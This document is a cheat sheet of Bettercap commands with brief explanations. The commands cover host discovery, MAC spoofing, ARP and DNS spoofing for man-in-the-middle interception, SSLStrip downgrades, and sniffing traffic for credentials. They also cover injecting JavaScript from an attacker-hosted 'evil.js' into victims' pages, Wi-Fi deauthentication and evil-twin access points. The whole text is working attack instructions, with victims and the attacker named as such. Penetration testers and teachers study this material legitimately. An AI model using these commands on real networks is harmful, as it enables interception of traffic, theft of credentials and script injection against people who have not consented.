Bettercap

bettercap -iface eth0

Launches Bettercap and binds it to the specified network interface (replace eth0 with your own, e.g. wlan0). If no interface is provided, Bettercap automatically selects the default one.

bettercap -caplet http-ui

Starts Bettercap with its web-based UI, accessible from a browser at http://127.0.0.1 with the default credentials user/pass. Useful for visually monitoring hosts, modules, and captured events instead of the terminal interface.

mac.changer

Spoofs the MAC address of the attacker's network interface, helping to obscure the machine's real hardware identity during an operation.

net.probe on

Actively probes the local network to discover connected hosts, sending out packets to trigger responses from live devices.

net.recon on

Passively monitors network traffic to build a list of discovered hosts without actively probing them.

net.show

Displays the list of hosts discovered so far, including their IP addresses, MAC addresses, and vendor information.

set arp.spoof.targets <target_ip>

Specifies the IP address (or comma-separated list of IPs) of the victim(s) to target during the ARP spoofing attack.

set arp.spoof.fullduplex true

Enables two-way spoofing, meaning both the target and the gateway are deceived — allowing Bettercap to intercept traffic in both directions.

set arp.spoof.internal true

Includes internal network hosts in the spoofing scope, useful when the target and gateway are part of the same local subnet.

arp.spoof on

Starts the ARP spoofing attack, positioning the attacker's machine as a man-in-the-middle between the target and the gateway.

set dns.spoof.domains example.com

Defines which domain(s) will be spoofed when a target's device sends a DNS query for them.

set dns.spoof.address 192.168.1.100

Sets the IP address that spoofed DNS responses will point to — typically the attacker's own machine, to redirect traffic through a fake or intercepting server.

dns.spoof on

Starts the DNS spoofing module, intercepting DNS queries from the target and returning forged responses for the configured domains.

set http.proxy.sslstrip true

Enables SSLStrip, which attempts to downgrade HTTPS connections to HTTP by intercepting the initial request before a secure connection is established, exposing traffic that would otherwise be encrypted.

http.proxy on

Starts the HTTP proxy module, which is required for SSLStrip and other HTTP-based interception features to function.

net.sniff on

Starts capturing and parsing network traffic passing through the attacker's machine, extracting readable data such as visited URLs and unencrypted credentials.

set net.sniff.verbose true

Enables detailed logging of every captured and parsed packet, providing more visibility into what net.sniff is intercepting.

events.stream on

Displays captured events — including credentials, visited hosts, and other intercepted data — in real time within the session.

set net.sniff.output sniffed.pcap

Saves all captured traffic to a .pcap file, which can later be analyzed in Wireshark for deeper inspection.

set http.proxy.injectjs http://<your-ip>/evil.js

Specifies a JavaScript file to be injected into every HTML page the target loads over HTTP, allowing custom scripts to run in the victim's browser.

http.proxy on

Starts the proxy module, which applies the configured JavaScript injection to intercepted HTTP traffic.

wifi.recon on

Starts scanning for nearby wireless access points and connected clients. Requires a wireless adapter that supports monitor mode.

wifi.show

Displays the list of discovered access points, including their BSSID, SSID, and encryption type.

wifi.deauth <BSSID>

Sends deauthentication frames to disconnect clients from the specified access point, forcing them to reconnect — often used to capture a fresh WPA handshake. Use all or * to target every discovered access point.

wifi.ap

Creates a rogue access point (evil twin) using the configured SSID, BSSID, and channel, potentially tricking nearby devices into connecting to it.

sessions.save mysession.cap

Saves the current session — including active modules and their configuration — to a caplet file for later reuse.

sessions.load mysession.cap

Loads a previously saved session, restoring its modules and configuration.